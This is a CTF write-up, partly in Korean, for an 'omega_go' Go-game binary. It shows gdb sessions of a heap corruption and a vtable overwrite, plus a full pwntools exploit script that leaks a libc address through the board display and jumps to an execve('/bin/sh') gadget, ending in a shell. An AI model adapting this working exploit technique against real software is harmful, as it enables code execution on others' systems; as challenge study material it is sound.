Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x00000000007075c0
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707550	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x00000000007075c0
0x609fe0:	0x0000000000707680	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000401761 in ?? ()
(gdb) x/i $rip
=> 0x401761:	callq  0x400f70 <_Znwm@plt>
(gdb) ni
0x0000000000401766 in ?? ()
(gdb) i r rax
rax            0x707550	7370064
(gdb)

Overwrite the vtable

  • vtable을 Overwirte하는 방법은 다음과 같습니다.

    • gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
      • 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
    • gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
    • 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
      • 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
        • Ex)A19!@#$%^&
      • 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
    • 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
      • 즉, vtable을 0x609440으로 덮어쓴 것입니다.
    • 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.
Code Block
titleOverwirte the vtable
autolycos@ubuntu:~$ sudo gdb -q -p 6027
Attaching to process 6027
...
(gdb) b *0x04017FC
Breakpoint 1 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x609fd0:	0x40000002aaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 1, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0x00000000016a5530
0x609fd0:	0x4000000aaaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000

(gdb) x/18gx 0x00000000016a5530
0x16a5530:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x16a5540:	0x4000000aaaaaaaaa	0x0000000555555555
0x16a5550:	0x0000000000609440	0x0000010000000000
0x16a5560:	0x1800000000000000	0xaaaa8000000008a4
0x16a5570:	0x55550000000aaaaa	0x5555555555555555
0x16a5580:	0x0000055555555555	0x0000000000000000
0x16a5590:	0x0000000500000004	0x5000010000000058
0x16a55a0:	0x40667feb65a9a800	0x4063bc970b49e01e
0x16a55b0:	0x0000000000000120	0x0000000000000091

(gdb) x/gx 0x16a5550
0x16a5550:	0x0000000000609440
(gdb) x/gx 0x0000000000609440
0x609440:	0x00007f5d9c93a6bd
(gdb) c
Continuing.
process 6027 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4017fc

(gdb)
Code Block
titlevtable -> 0x
(gdb) b *0x4017D0
Breakpoint 1 at 0x4017d0

(gdb) b *0x04017FC
Breakpoint 2 at 0x4017fc


(gdb) c
Continuing.
Breakpoint 1, 0x00000000004017d0 in ?? ()

(gdb) x/3i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]

(gdb) ni
0x00000000004017d5 in ?? ()
(gdb) i r rax

rax            0x1919550	26318160

(gdb) ni
0x00000000004017d8 in ?? ()
(gdb) i r rax
rax            0x609440	6329408

(gdb) ni
0x00000000004017db in ?? ()
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189

(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/i $rip
=> 0x4017fc:	call   rax
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189
(gdb) 

...

Code Block
languagepy
titleExploit.py
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
 
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
 
#Fake Chunk
Play('D14')
Play('R8')
 
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')

surrender()

#Fill out to board 
Fill('B','S',6)
for line in range(15,20):
    Fill('A','S',line)
Play('A6')
 
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
 
for line in range(16,19):
    Fill('A','S',line)
 
Fill('A','E',15)
sleep(20) 
Play('F15|'+p64(execve_bash))
 
p.interactive()

Flag

Flag


Related Site